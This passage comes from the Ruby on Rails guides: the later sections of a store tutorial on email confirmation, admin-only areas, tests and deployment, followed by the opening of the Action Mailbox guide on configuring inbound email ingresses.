      redirect_to settings_email_path, status: :see_other, notice: "We've sent a verification email to #{Current.user.unconfirmed_email}."
    else
      render :show, status: :unprocessable_entity
    end
  end

  private
    def email_params
      params.expect(user: [ :password_challenge, :unconfirmed_email ]).with_defaults(password_challenge: "")
    end
end
```

This uses the same `with_defaults(password_challenge: "")` as `Settings::PasswordsController` to trigger the password challenge validation.

We haven't created the `UserMailer` yet, so let's do that next.

### [6.3. New Email Confirmation](#new-email-confirmation)

Let's use the mailer generator to create the `UserMailer` we referenced in `Settings::EmailsController`:

```
$ bin/rails generate mailer User email_confirmation
      create  app/mailers/user_mailer.rb
      invoke  erb
      create    app/views/user_mailer
      create    app/views/user_mailer/email_confirmation.text.erb
      create    app/views/user_mailer/email_confirmation.html.erb
      invoke  test_unit
      create    test/mailers/user_mailer_test.rb
      create    test/mailers/previews/user_mailer_preview.rb
```

We'll need to generate a token to include in the email body. Open `app/models/user.rb` and add the following:

```
class User < ApplicationRecord
  has_secure_password
  has_many :sessions, dependent: :destroy

  normalizes :email_address, with: ->(e) { e.strip.downcase }

  validates :first_name, :last_name, presence: true

  generates_token_for :email_confirmation, expires_in: 7.days do
    unconfirmed_email
  end

  def confirm_email
    update(email_address: unconfirmed_email, unconfirmed_email: nil)
  end

  def full_name
    "#{first_name} #{last_name}"
  end
end
```

This adds a token generator we can use for email confirmations. The token encodes the unconfirmed email, so it becomes invalid if the email changes or the token expires.

Let's update `app/mailers/user_mailer.rb` to generate a new token for the email:

```
class UserMailer < ApplicationMailer
  # Subject can be set in your I18n file at config/locales/en.yml
  # with the following lookup:
  #
  #   en.user_mailer.email_confirmation.subject
  def email_confirmation
    @token = params[:user].generate_token_for(:email_confirmation)
    mail to: params[:user].unconfirmed_email
  end
end
```

We'll include the token in the HTML view at `app/views/user_mailer/email_confirmation.html.erb`:

```
<h1>Verify your email address</h1>

<p><%= link_to "Confirm your email", email_confirmation_url(token: @token) %></p>
```

And `app/views/user_mailer/email_confirmation.text.erb`:

```
Confirm your email: <%= email_confirmation_url(token: @token) %>
```

### [6.4. Email Confirmation Controller](#email-confirmation-controller)

The confirmation email includes a link to our Rails app to verify the email change.

Let's add a route for this to `config/routes.rb`

```
namespace :email do
  resources :confirmations, param: :token, only: [ :show ]
end
```

When a user clicks a link in their email, it will open a browser and make a GET request to the app. This means we only need the `show` action for this controller.

Next, add the following to `app/controllers/email/confirmations_controller.rb`

```
class Email::ConfirmationsController < ApplicationController
  allow_unauthenticated_access

  def show
    user = User.find_by_token_for(:email_confirmation, params[:token])
    if user&.confirm_email
      flash[:notice] = "Your email has been confirmed."
    else
      flash[:alert] = "Invalid token."
    end
    redirect_to root_path
  end
end
```

We want to confirm the email address whether the user is authenticated or not, so this controller allows unauthenticated access. We use the `find_by_token_for` method to validate the token and look up the matching `User` record. If successful, we call the `confirm_email` method to update the user's email and reset `unconfirmed_email` to `nil`. If the token isn't valid, the `user` variable will be `nil`, and we will display an alert message.

Finally, let's add a link to Email in the settings layout sidebar:

```
<%= content_for :content do %>
  <section class="settings">
    <nav>
      <h4>Account Settings</h4>
      <%= link_to "Profile", settings_profile_path %>
      <%= link_to "Email", settings_email_path %>
      <%= link_to "Password", settings_password_path %>
      <%= link_to "Account", settings_user_path %>
    </nav>

    <div>
      <%= yield %>
    </div>
  </section>
<% end %>

<%= render template: "layouts/application" %>
```

Test out this process by navigating to <http://localhost:3000/settings/email> and updating your email address. Watch the Rails server logs for the email contents and open the confirm link in your browser to update the email in the database.

## [7. Separating Admins & Users](#separating-admins-users)

Now that anyone can sign up for an account on our store, we need to differentiate between regular users and admins.

### [7.1. Adding An Admin Flag](#adding-an-admin-flag)

We'll start by adding a column to the User model.

```
$ bin/rails g migration AddAdminToUsers admin:boolean
```

Then migrate the database.

```
$ bin/rails db:migrate
```

A `User` with `admin` set to `true` should be able to add and remove products and access other administrative areas of the store.

### [7.2. Readonly Attributes](#readonly-attributes)

We need to be very careful that `admin` is not editable by any malicious users. This is easy enough by keeping the `:admin` attribute out of any permitted parameters list.

Optionally, we can mark the admin attribute as readonly for added security. This will tell Rails to raise an error anytime the admin attribute is changed. It can still be set when creating a record, but provides an additional layer of security against unauthorized changes. You may want to skip this if you'll be changing the admin flag for users often but in our e-commerce store, it's a useful safeguard.

We can add `attr_readonly` in our model to protect the attribute from updates.

```
class User < ApplicationRecord
  has_secure_password
  has_many :sessions, dependent: :destroy

  attr_readonly :admin

  # ...
```

When `admin` is read-only, we have to directly update this in the database instead of using Active Record.

Rails has a command called `dbconsole` that will open a database console where we can directly interact with the database using SQL.

```
$ bin/rails dbconsole
SQLite version 3.43.2 2023-10-10 13:08:14
Enter ".help" for usage hints.
sqlite>
```

In the SQLite prompt, we can update the admin column for a record using an `UPDATE` statement and using `WHERE` to filter to a single user ID.

```
UPDATE users SET admin=true WHERE users.id=1;
```

To close the SQLite prompt, enter the following command:

```
.quit
```

## [8. Viewing All Users](#viewing-all-users)

As a store admin, we will want to view and manage users for customer support, marketing and other use cases.

First, we'll need to add a route for users in a new `store` namespace in `config/routes.rb`.

```
# Admins Only
namespace :store do
  resources :users
end
```

### [8.1. Adding Admin Only Access](#adding-admin-only-access)

The controller for users should be accessible to admins only. Before we create that controller, let's create an `Authorization` module with a class method to restrict access to admins only.

Create `app/controllers/concerns/authorization.rb` with the following code:

```
module Authorization
  extend ActiveSupport::Concern

  class_methods do
    def admin_access_only(**options)
      before_action -> { redirect_to root_path, alert: "You aren't allowed to do that." unless authenticated? && Current.user.admin? }, **options
    end
  end
end
```

To use this module in our controllers, include it in `app/controllers/application_controller.rb`

```
class ApplicationController < ActionController::Base
  include Authentication
  include Authorization

  # ...
```

The `Authorization` module features can be used in any controller in our app. This module provides a home for any additional helpers to manage access for admins or other types of roles in the future.

### [8.2. Users Controller & Views](#users-controller-views)

First, create a base class for the `store` namespace at `app/controllers/store/base_controller.rb`.

```
class Store::BaseController < ApplicationController
  admin_access_only
  layout "settings"
end
```

This controller will restrict access to admins only using the `admin_access_only` method we just created. It will also use the same settings layout to display the sidebar.

Next, create `app/controllers/store/users_controller.rb` and add the following:

```
class Store::UsersController < Store::BaseController
  before_action :set_user, only: %i[ show edit update destroy ]

  def index
    @users = User.all
  end

  def show
  end

  def edit
  end

  def update
    if @user.update(user_params)
      redirect_to store_user_path(@user), status: :see_other, notice: "User has been updated"
    else
      render :edit, status: :unprocessable_entity
    end
  end

  def destroy
  end

  private
    def set_user
      @user = User.find(params[:id])
    end

    def user_params
      params.expect(user: [ :first_name, :last_name, :email_address ])
    end
end
```

This gives admins the ability to read, update, and destroy users in the database.

Next, let's create the index view at `app/views/store/users/index.html.erb`

```
<h1><%= pluralize @users.count, "user" %></h1>

<% @users.each do |user| %>
  <div>
    <%= link_to user.full_name, store_user_path(user) %>
  </div>
<% end %>
```

Then, the edit user view at `app/views/store/users/edit.html.erb`:

```
<h1>Edit User</h1>
<%= render "form", user: @user %>
```

And the form partial at `app/views/store/users/_form.html.erb`:

```
<%= form_with model: [ :store, user ] do |form| %>
  <div>
    <%= form.label :first_name %>
    <%= form.text_field :first_name, required: true, autofocus: true, autocomplete: "given-name" %>
  </div>

  <div>
    <%= form.label :last_name %>
    <%= form.text_field :last_name, required: true, autocomplete: "family-name" %>
  </div>

  <div>
    <%= form.label :email_address %>
    <%= form.email_field :email_address, required: true, autocomplete: "email" %>
  </div>

  <div>
    <%= form.submit %>
  </div>
<% end %>
```

And finally, the user show view at `app/views/store/users/show.html.erb`:

```
<%= link_to "Back to all users", store_users_path %>

<h1><%= @user.full_name %></h1>
<p><%= @user.email_address %></p>

<div>
  <%= link_to "Edit user", edit_store_user_path(@user)  %>
  <%= button_to "Delete user", store_user_path(@user), method: :delete, data: { turbo_confirm: "Are you sure?" } %>
</div>
```

### [8.3. Settings Navigation](#settings-navigation)

Next, we want to add this to the Settings sidebar navigation. Since this should be only visible to admins, we need to wrap it in a conditional to ensure the current user is an admin.

Add the following to the settings layout in `app/views/layouts/settings.html.erb`:

```
<%= content_for :content do %>
  <section class="settings">
    <nav>
      <h4>Account Settings</h4>
      <%= link_to "Profile", settings_profile_path %>
      <%= link_to "Email", settings_email_path %>
      <%= link_to "Password", settings_password_path %>
      <%= link_to "Account", settings_user_path %>

      <% if Current.user.admin? %>
        <h4>Store Settings</h4>
        <%= link_to "Users", store_users_path %>
      <% end %>
    </nav>

    <div>
      <%= yield %>
    </div>
  </section>
<% end %>

<%= render template: "layouts/application" %>
```

## [9. Separating Products Controllers](#separating-products-controllers)

Now that we have a separation for regular users and admins, we can re-organize our Products controller to take advantage of this change. Instead of a single controller, we can split the Products controller in two: one public facing and one admin facing.

The public facing controller will handle the storefront views and the admin controller will handle managing products.

### [9.1. Public Products Controller](#public-products-controller)

For the public storefront, we only need to let users view products. This means `app/controllers/products_controller.rb` can be simplified down to the following.

```
class ProductsController < ApplicationController
  allow_unauthenticated_access

  def index
    @products = Product.all
  end

  def show
    @product = Product.find(params[:id])
  end
end
```

We can then adjust the views for the products controller.

First, let's copy these views to the `store` namespace since this is where we want to manage products for the store.

```
$ cp -R app/views/products app/views/store
```

### [9.2. Clean Up Public Product Views](#clean-up-public-product-views)

Now let's remove all the create, update and destroy functionality from the public product views.

In `app/views/products/index.html.erb`, let's remove the link to "New product". We'll use the Settings area to create new products instead.

```
-<%= link_to "New product", new_product_path if authenticated? %>
```

Remove the Edit and Delete links in `app/views/products/show.html.erb`

```
-    <% if authenticated? %>
-      <%= link_to "Edit", edit_product_path(@product) %>
-      <%= button_to "Delete", @product, method: :delete, data: { turbo_confirm: "Are you sure?" } %>
-    <% end %>
```

Then remove:

* `app/views/products/new.html.erb`
* `app/views/products/edit.html.erb`
* `app/views/products/_form.html.erb`

### [9.3. Admin Products CRUD](#admin-products-crud)

First, let's add the namespaced route for products to `config/routes.rb` and also set a root route for this namespace:

```
  namespace :store do
    resources :products
    resources :users

    root to: redirect("/store/products")
  end
```

And then update the settings layout navigation in `app/views/layouts/settings.html.erb`:

```
<%= content_for :content do %>
  <section class="settings">
    <nav>
      <h4>Account Settings</h4>
      <%= link_to "Profile", settings_profile_path %>
      <%= link_to "Email", settings_email_path %>
      <%= link_to "Password", settings_password_path %>
      <%= link_to "Account", settings_user_path %>

      <% if Current.user.admin? %>
        <h4>Store Settings</h4>
        <%= link_to "Products", store_products_path %>
        <%= link_to "Users", store_users_path %>
      <% end %>
    </nav>

    <div>
      <%= yield %>
    </div>
  </section>
<% end %>

<%= render template: "layouts/application" %>
```

Next, create `app/controllers/store/products_controller.rb` with the following:

```
class Store::ProductsController < Store::BaseController
  before_action :set_product, only: %i[ show edit update destroy ]

  def index
    @products = Product.all
  end

  def show
  end

  def new
    @product = Product.new
  end

  def create
    @product = Product.new(product_params)
    if @product.save
      redirect_to store_product_path(@product)
    else
      render :new, status: :unprocessable_entity
    end
  end

  def edit
  end

  def update
    if @product.update(product_params)
      redirect_to store_product_path(@product)
    else
      render :edit, status: :unprocessable_entity
    end
  end

  def destroy
    @product.destroy
    redirect_to store_products_path
  end

  private
    def set_product
      @product = Product.find(params[:id])
    end

    def product_params
      params.expect(product: [ :name, :description, :featured_image, :inventory_count ])
    end
end
```

This controller is almost the same as `ProductsController` previously, but two important changes:

1. We have `admin_access_only` to restrict access to admin users only.
2. Redirects use the `store` namespace to keep the user in the store settings area.

### [9.4. Updating Admin Product Views](#updating-admin-product-views)

The admin views need some tweaks to work inside the `store` namespace.

First, let's fix the form in `app/views/store/products/_form.html.erb` by updating the `model:` argument to use the `store` namespace.

```
<%= form_with model: [ :store, product ] do |form| %>
  <%# ... %>
```

Then we can remove the `authenticated?` check from `app/views/store/products/index.html.erb` and use the `store` namespace for links:

```
<h1><%= t ".title" %></h1>

<%= link_to "New product", new_store_product_path %>

<div id="products">
  <% @products.each do |product| %>
    <div>
      <%= link_to product.name, store_product_path(product) %>
    </div>
  <% end %>
</div>
```

Since this view is now in the `store` namespace, the h1 tag's relative translation cannot be found. We can add another translation to `config/locales/en.yml` to fix this:

```
en:
  hello: "Hello world"
  products:
    index:
      title: "Products"

  store:
    products:
      index:
        title: "Products"

  activerecord:
    attributes:
      user:
        password_challenge: "Current password"
```

We need to update the Cancel link to use the `store` namespace in `app/views/store/products/new.html.erb`:

```
<h1>New product</h1>

<%= render "form", product: @product %>
<%= link_to "Cancel", store_products_path %>
```

Do the same in `app/views/store/products/edit.html.erb`:

```
<h1>Edit product</h1>

<%= render "form", product: @product %>
<%= link_to "Cancel", store_product_path(@product) %>
```

Update `app/views/store/products/show.html.erb` with the following:

```
<p><%= link_to "Back", store_products_path %></p>

<section class="product">
  <%= image_tag @product.featured_image if @product.featured_image.attached? %>

  <section class="product-info">
    <% cache @product do %>
      <h1><%= @product.name %></h1>
      <%= @product.description %>
    <% end %>

    <%= link_to "View in Storefront", @product %>
    <%= link_to "Edit", edit_store_product_path(@product) %>
    <%= button_to "Delete", [ :store, @product ], method: :delete, data: { turbo_confirm: "Are you sure?" } %>
  </section>
</section>
```

This updates the `show` action so that:

* Links now use to the `store` namespace.
* A "View in Storefront" link is added to make it easier for admins to see how a product looks to the public.
* The inventory partial is removed since that's only useful on the public storefront.

Since we're not using the `_inventory.html.erb` partial in the admin area, let's remove it:

```
$ rm app/views/store/products/_inventory.html.erb
```

## [10. Adding Tests](#adding-tests)

Let's add some tests to verify that our features work correctly.

### [10.1. Authentication Test Helpers](#authentication-test-helpers)

In our test suite, we'll need to sign in users in our tests. The Rails authentication generator has been updated to include helpers for authentication, but your application may have been created before this, so let's ensure these files exist before writing our tests.

In `test/test_helpers/session_test_helper.rb`, you should see the following. If you don't, go ahead and create this file.

```
module SessionTestHelper
  def sign_in_as(user)
    Current.session = user.sessions.create!

    ActionDispatch::TestRequest.create.cookie_jar.tap do |cookie_jar|
      cookie_jar.signed[:session_id] = Current.session.id
      cookies["session_id"] = cookie_jar[:session_id]
    end
  end

  def sign_out
    Current.session&.destroy!
    cookies.delete("session_id")
  end
end

ActiveSupport.on_load(:action_dispatch_integration_test) do
  include SessionTestHelper
end
```

In `test/test_helper.rb`, you should see these lines. If not, go ahead and add them.

```
ENV["RAILS_ENV"] ||= "test"
require_relative "../config/environment"
require "rails/test_help"
require_relative "test_helpers/session_test_helper"

module ActiveSupport
  class TestCase
    include SessionTestHelper

    # Run tests in parallel with specified workers
    parallelize(workers: :number_of_processors)

    # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.
    fixtures :all

    # Add more helper methods to be used by all tests here...
  end
end
```

### [10.2. Testing Sign Up](#testing-sign-up)

We have a few different things to test for sign up. Let's start with a simple test to view the page.

Create a controller test at `test/controllers/sign_ups_controller_test.rb` with the following:

```
require "test_helper"

class SignUpsControllerTest < ActionDispatch::IntegrationTest
  test "view sign up" do
    get sign_up_path
    assert_response :success
  end
end
```

This test will visit `/sign_up` and ensure that it receives a 200 OK response.

Let's run the test and see if it passes:

```
$ bin/rails test test/controllers/sign_ups_controller_test.rb:4
Running 1 tests in a single process (parallelization threshold is 50)
Run options: --seed 5967

# Running:

.

Finished in 0.559107s, 1.7886 runs/s, 1.7886 assertions/s.
1 runs, 1 assertions, 0 failures, 0 errors, 0 skips
```

Next, let's sign in a user and try to visit the sign up page. In this situation, the user should be redirected because they're already authenticated.

Add the following test to the file.

```
test "view sign up when authenticated" do
  sign_in_as users(:one)
  get sign_up_path
  assert_redirected_to root_path
end
```

Run the tests again and you should see this one passes too.

Next, let's add a test to ensure a new user is created when they fill out the form.

```
test "successful sign up" do
  assert_difference "User.count" do
    post sign_up_path, params: { user: { first_name: "Example", last_name: "User", email_address: "example@user.org", password: "password", password_confirmation: "password" } }
    assert_redirected_to root_path
  end
end
```

For this test, we need submit params with a POST request to test the `create` action.

Let's also test with invalid data to ensure the controller returns an error.

```
test "invalid sign up" do
  assert_no_difference "User.count" do
    post sign_up_path, params: { user: { email_address: "example@user.org", password: "password", password_confirmation: "password" } }
    assert_response :unprocessable_entity
  end
end
```

This test should be invalid because the user's name is missing. Since this request is invalid, we need to assert the response is a 422 Unprocessable Entity. We can also assert that there is no difference in the `User.count` to ensure no User was created.

Another important test to add is ensuring that sign up does not accept the `admin` attribute.

```
test "sign up ignores admin attribute" do
  assert_difference "User.count" do
    post sign_up_path, params: { user: { first_name: "Example", last_name: "User", email_address: "example@user.org", password: "password", password_confirmation: "password", admin: true } }
    assert_redirected_to root_path
  end
  refute User.find_by(email_address: "example@user.org").admin?
end
```

This test is just like a successful sign up, but it tries to set `admin: true`. After asserting the user is created, we also need to assert that the user is *not* an admin.

### [10.3. Testing Email Changes](#testing-email-changes)

Changing a user's email is a multi-step process that is important to test as well.

To start, let's create a controller test to ensure the email update form handles everything correctly.

In `test/controllers/settings/emails_controller_test.rb` add the following:

```
require "test_helper"

class Settings::EmailsControllerTest < ActionDispatch::IntegrationTest
  test "validates current password" do
    user = users(:one)
    sign_in_as user
    patch settings_email_path, params: { user: { password_challenge: "invalid", unconfirmed_email: "new@example.org" } }
    assert_response :unprocessable_entity
    assert_nil user.reload.unconfirmed_email
    assert_no_emails
  end
end
```

Our first test is going to be a submission with an invalid password challenge. For this, we want to ensure the response is an error and the unconfirmed email was not changed. We can also ensure that no emails were sent in this case as well.

Then we can write a test for the success case:

```
test "sends email confirmation on successful update" do
  user = users(:one)
  sign_in_as user
  patch settings_email_path, params: { user: { password_challenge: "password", unconfirmed_email: "new@example.org" } }
  assert_response :redirect
  assert_equal "new@example.org", user.reload.unconfirmed_email
  assert_enqueued_email_with UserMailer, :email_confirmation, params: { user: user }
end
```

Then add first and last names to the fixtures in `test/fixtures/users.yml` to pass validations:

```
<% password_digest = BCrypt::Password.create("password") %>

one:
  email_address: one@example.com
  password_digest: <%= password_digest %>
  first_name: User
  last_name: One

two:
  email_address: two@example.com
  password_digest: <%= password_digest %>
  first_name: User
  last_name: Two
```

This tests submits successful params, confirms the email is saved to the database, the user was redirected and the confirmation email was queued for delivery.

Let's run these tests and make sure they pass:

```
$ bin/rails test test/controllers/settings/emails_controller_test.rb
Running 2 tests in a single process (parallelization threshold is 50)
Run options: --seed 31545

# Running:

..

Finished in 0.954590s, 2.0951 runs/s, 6.2854 assertions/s.
2 runs, 6 assertions, 0 failures, 0 errors, 0 skips
```

We also need to test the `Email::ConfirmationsController` to ensure confirmation tokens are validated the email update process completes successfully.

Let's add another controller test at `test/controllers/email/confirmations_controller_test.rb` with the following:

```
require "test_helper"

class Email::ConfirmationsControllerTest < ActionDispatch::IntegrationTest
  test "invalid tokens are ignored" do
    user = users(:one)
    previous_email = user.email_address
    user.update(unconfirmed_email: "new@example.org")
    get email_confirmation_path(token: "invalid")
    assert_equal "Invalid token.", flash[:alert]
    user.reload
    assert_equal previous_email, user.email_address
  end

  test "email is updated with a valid token" do
    user = users(:one)
    user.update(unconfirmed_email: "new@example.org")
    get email_confirmation_path(token: user.generate_token_for(:email_confirmation))
    assert_equal "Your email has been confirmed.", flash[:notice]
    user.reload
    assert_equal "new@example.org", user.email_address
    assert_nil user.unconfirmed_email
  end
end
```

The first test simulates a user confirming their email change with an invalid token. We assert the error message was set and the email address did not change.

The second test uses valid token and asserts the success notice was set and the email address was updated in the database.

We need to fix one more test related to email confirmations and that is the automatically generated tests for `UserMailer`. Let's update that to match our application logic.

Change `test/mailers/user_mailer_test.rb` to the following:

```
require "test_helper"

class UserMailerTest < ActionMailer::TestCase
  test "email_confirmation" do
    user = users(:one)
    user.update(unconfirmed_email: "new@example.org")
    mail = UserMailer.with(user: user).email_confirmation
    assert_equal "Email confirmation", mail.subject
    assert_equal [ "new@example.org" ], mail.to
    assert_match "/email/confirmations/", mail.body.encoded
  end
end
```

This test ensures the user has an `unconfirmed_email` and the email is sent to that email address. It also ensures that the email body contains the path to `/email/confirmations` so we know it contains the link for the user to click and confirm their new email address.

### [10.4. Testing Settings](#testing-settings)

Another area that we should test is the Settings navigation. We want to ensure the appropriate links are visible to admins and not visible to regular users.

Let's first create an admin user fixture in `test/fixtures/users.yml`:

```
<% password_digest = BCrypt::Password.create("password") %>

one:
  email_address: one@example.com
  password_digest: <%= password_digest %>
  first_name: User
  last_name: One

two:
  email_address: two@example.com
  password_digest: <%= password_digest %>
  first_name: User
  last_name: Two

admin:
  email_address: admin@example.com
  password_digest: <%= password_digest %>
  first_name: Admin
  last_name: User
  admin: true
```

Then create a test file for this at `test/integration/settings_test.rb`.

```
require "test_helper"

class SettingsTest < ActionDispatch::IntegrationTest
  test "user settings nav" do
    sign_in_as users(:one)
    get settings_profile_path
    assert_dom "h4", "Account Settings"
    assert_not_dom "a", "Store Settings"
  end

  test "admin settings nav" do
    sign_in_as users(:admin)
    get settings_profile_path
    assert_dom "h4", "Account Settings"
    assert_dom "h4", "Store Settings"
  end
end
```

These tests ensure that only admins will see the Store settings in the navbar.

You can run these tests with:

```
$ bin/rails test test/integration/settings_test.rb
```

We also want to ensure regular users cannot access the Store settings for Products and Users. Let's add some tests for that.

```
test "regular user cannot access /store/products" do
  sign_in_as users(:one)
  get store_products_path
  assert_response :redirect
  assert_equal "You aren't allowed to do that.", flash[:alert]
end

test "regular user cannot access /store/users" do
  sign_in_as users(:one)
  get store_users_path
  assert_response :redirect
  assert_equal "You aren't allowed to do that.", flash[:alert]
end
```

These tests use a regular user to access the admin only areas and ensures they are redirected away with a flash message.

Let's complete these tests by ensuring that admin users *can* access these areas.

```
test "admins can access /store/products" do
  sign_in_as users(:admin)
  get store_products_path
  assert_response :success
end

test "admins can access /store/users" do
  sign_in_as users(:admin)
  get store_users_path
  assert_response :success
end
```

Run the test file again and you should see they all pass.

```
$ bin/rails test test/integration/settings_test.rb
Running 6 tests in a single process (parallelization threshold is 50)
Run options: --seed 33354

# Running:

......

Finished in 0.625542s, 9.5917 runs/s, 12.7889 assertions/s.
6 runs, 8 assertions, 0 failures, 0 errors, 0 skips
```

And let's run the full test suite one more time to make sure all the tests pass.

```
$ bin/rails test
Running 18 tests in a single process (parallelization threshold is 50)
Run options: --seed 38561

# Running:

..................

Finished in 0.915621s, 19.6588 runs/s, 51.3313 assertions/s.
18 runs, 47 assertions, 0 failures, 0 errors, 0 skips
```

Great! Now, let's deploy this to production.

## [11. Deploying To Production](#deploying-to-production)

Since we previously setup Kamal in the [Getting Started Guide](getting_started.html#deploying-to-production), we just need to push our code changes to our Git repository and run:

```
$ bin/kamal deploy
```

This will build a new container for our application and deploy it to our production server.

### [11.1. Setting Admins In Production](#setting-admins-in-production)

If you added `attr_readonly :admin`, you'll need to use the dbconsole to update your account.

```
$ bin/kamal dbc
UPDATE users SET admin=true WHERE users.email='you@example.org';
.quit
```

Otherwise, you can use the Rails console to update your account.

```
$ bin/kamal console
irb> User.find_by(email: "you@example.org").update(admin: true)
```

You can now access the Store settings in production with your account.

## [12. What's Next](#what-s-next)

You did it! Your e-commerce store now supports user sign up, account management, and an admin area for managing products and users.

Next, follow the [Wishlists tutorial](wishlists.html) to continue learning.

Happy building!

[Return to all tutorials](https://rubyonrails.org/docs/tutorials)

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/action_mailbox_basics.html
----

***

## [1. What is Action Mailbox?](#what-is-action-mailbox-questionmark)

Action Mailbox routes incoming emails to controller-like mailboxes for processing in your Rails application. Action Mailbox is for receiving email, while [Action Mailer](action_mailer_basics.html) is for *sending* them.

The inbound emails are routed asynchronously using [Active Job](active_job_basics.html) to one or several dedicated mailboxes. These emails are turned into [`InboundEmail`](https://api.rubyonrails.org/v8.1.4/classes/ActionMailbox/InboundEmail.html) records using [Active Record](active_record_basics.html), which are capable of interacting directly with the rest of your domain model.

`InboundEmail` records also provide lifecycle tracking, storage of the original email via [Active Storage](active_storage_overview.html), and responsible data handling with on-by-default [incineration](#incineration-of-inboundemails).

Action Mailbox ships with ingresses which enable your application to receive emails from external email providers such as Mailgun, Mandrill, Postmark, and SendGrid. You can also handle inbound emails directly via the built-in Exim, Postfix, and Qmail ingresses.

## [2. Setup](#setup)

Action Mailbox has a few moving parts. First, you'll run the installer. Next, you'll choose and configure an ingress for handling incoming email. You're then ready to add Action Mailbox routing, create mailboxes, and start processing incoming emails.

To start, let's install Action Mailbox:

```
$ bin/rails action_mailbox:install
```

This will create an `application_mailbox.rb` file and copy over migrations.

```
$ bin/rails db:migrate
```

This will run the Action Mailbox and Active Storage migrations.

The Action Mailbox table `action_mailbox_inbound_emails` stores incoming messages and their processing status.

At this point, you can start your Rails server and check out `http://localhost:3000/rails/conductor/action_mailbox/inbound_emails`. See [Local Development and Testing](#local-development-and-testing) for more.

The next step is to configure an ingress in your Rails application to specify how incoming emails should be received.

## [3. Ingress Configuration](#ingress-configuration)

Configuring ingress involves setting up credentials and endpoint information for the chosen email service. Here are the steps for each of the supported ingresses.

### [3.1. Exim](#exim)

Tell Action Mailbox to accept emails from an SMTP relay:

```
# config/environments/production.rb
config.action_mailbox.ingress = :relay
```

Generate a strong password that Action Mailbox can use to authenticate requests to the relay ingress.

Use `bin/rails credentials:edit` to add the password to your application's encrypted credentials under `action_mailbox.ingress_password`, where Action Mailbox will automatically find it:

```
action_mailbox:
  ingress_password: ...
```

Alternatively, provide the password in the `RAILS_INBOUND_EMAIL_PASSWORD` environment variable.

Configure Exim to pipe inbound emails to `bin/rails action_mailbox:ingress:exim`, providing the `URL` of the relay ingress and the `INGRESS_PASSWORD` you previously generated. If your application lived at `https://example.com`, the full command would look like this:

```
$ bin/rails action_mailbox:ingress:exim URL=https://example.com/rails/action_mailbox/relay/inbound_emails INGRESS_PASSWORD=...
```

### [3.2. Mailgun](#mailgun)

Give Action Mailbox your Mailgun Signing key (which you can find under Settings -> Security & Users -> API security in Mailgun), so it can authenticate requests to the Mailgun ingress.

Use `bin/rails credentials:edit` to add your Signing key to your application's encrypted credentials under `action_mailbox.mailgun_signing_key`, where Action Mailbox will automatically find it:

```
action_mailbox:
  mailgun_signing_key: ...
```

Alternatively, provide your Signing key in the `MAILGUN_INGRESS_SIGNING_KEY` environment variable.

Tell Action Mailbox to accept emails from Mailgun:

```
# config/environments/production.rb
config.action_mailbox.ingress = :mailgun
```

[Configure Mailgun](https://documentation.mailgun.com/docs/mailgun/user-manual/receive-forward-store/) to forward inbound emails to `/rails/action_mailbox/mailgun/inbound_emails/mime`. If your application lived at `https://example.com`, you would specify the fully-qualified URL `https://example.com/rails/action_mailbox/mailgun/inbound_emails/mime`.

### [3.3. Mandrill](#mandrill)

Give Action Mailbox your Mandrill API key, so it can authenticate requests to the Mandrill ingress.

Use `bin/rails credentials:edit` to add your API key to your application's encrypted credentials under `action_mailbox.mandrill_api_key`, where Action Mailbox will automatically find it:

```
action_mailbox:
  mandrill_api_key: ...
```

Alternatively, provide your API key in the `MANDRILL_INGRESS_API_KEY` environment variable.

Tell Action Mailbox to accept emails from Mandrill:

```
# config/environments/production.rb
config.action_mailbox.ingress = :mandrill
```

[Configure Mandrill](https://mandrill.zendesk.com/hc/en-us/articles/205583197-Inbound-Email-Processing-Overview) to route inbound emails to `/rails/action_mailbox/mandrill/inbound_emails`. If your application lived at `https://example.com`, you would specify the fully-qualified URL `https://example.com/rails/action_mailbox/mandrill/inbound_emails`.

### [3.4. Postfix](#postfix)

Tell Action Mailbox to accept emails from an SMTP relay:

```
# config/environments/production.rb
config.action_mailbox.ingress = :relay
```

Generate a strong password that Action Mailbox can use to authenticate requests to the relay ingress.

Use `bin/rails credentials:edit` to add the password to your application's encrypted credentials under `action_mailbox.ingress_password`, where Action Mailbox will automatically find it:

```
action_mailbox:
  ingress_password: ...
```

Alternatively, provide the password in the `RAILS_INBOUND_EMAIL_PASSWORD` environment variable.

[Configure Postfix](https://serverfault.com/questions/258469/how-to-configure-postfix-to-pipe-all-incoming-email-to-a-script) to pipe inbound emails to `bin/rails action_mailbox:ingress:postfix`, providing the `URL` of the Postfix ingress and the `INGRESS_PASSWORD` you previously generated. If your application lived at `https://example.com`, the full command would look like this:

```
$ bin/rails action_mailbox:ingress:postfix URL=https://example.com/rails/action_mailbox/relay/inbound_emails INGRESS_PASSWORD=...
```

### [3.5. Postmark](#postmark)

Tell Action Mailbox to accept emails from Postmark:

```
# config/environments/production.rb
config.action_mailbox.ingress = :postmark
```

Generate a strong password that Action Mailbox can use to authenticate requests to the Postmark ingress.

Use `bin/rails credentials:edit` to add the password to your application's encrypted credentials under `action_mailbox.ingress_password`, where Action Mailbox will automatically find it:

```
action_mailbox:
  ingress_password: ...
```

Alternatively, provide the password in the `RAILS_INBOUND_EMAIL_PASSWORD` environment variable.

[Configure Postmark inbound webhook](https://postmarkapp.com/manual#configure-your-inbound-webhook-url) to forward inbound emails to `/rails/action_mailbox/postmark/inbound_emails` with the username `actionmailbox` and the password you previously generated. If your application lived at `https://example.com`, you would configure Postmark with the following fully-qualified URL:

```
https://actionmailbox:PASSWORD@example.com/rails/action_mailbox/postmark/inbound_emails
```

When configuring your Postmark inbound webhook, be sure to check the box labeled **"Include raw email content in JSON payload"**. Action Mailbox needs the raw email content to work.

### [3.6. Qmail](#qmail)

Tell Action Mailbox to accept emails from an SMTP relay:

```
# config/environments/production.rb
config.action_mailbox.ingress = :relay
```

Generate a strong password that Action Mailbox can use to authenticate requests to the relay ingress.

Use `bin/rails credentials:edit` to add the password to your application's encrypted credentials under `action_mailbox.ingress_password`, where Action Mailbox will automatically find it:

```
action_mailbox:
  ingress_password: ...
```

Alternatively, provide the password in the `RAILS_INBOUND_EMAIL_PASSWORD` environment variable.

Configure Qmail to pipe inbound emails to `bin/rails action_mailbox:ingress:qmail`, providing the `URL` of the relay ingress and the `INGRESS_PASSWORD` you previously generated. If your application lived at `https://example.com`, the full command would look like this:

```
$ bin/rails action_mailbox:ingress:qmail URL=https://example.com/rails/action_mailbox/relay/inbound_emails INGRESS_PASSWORD=...
```

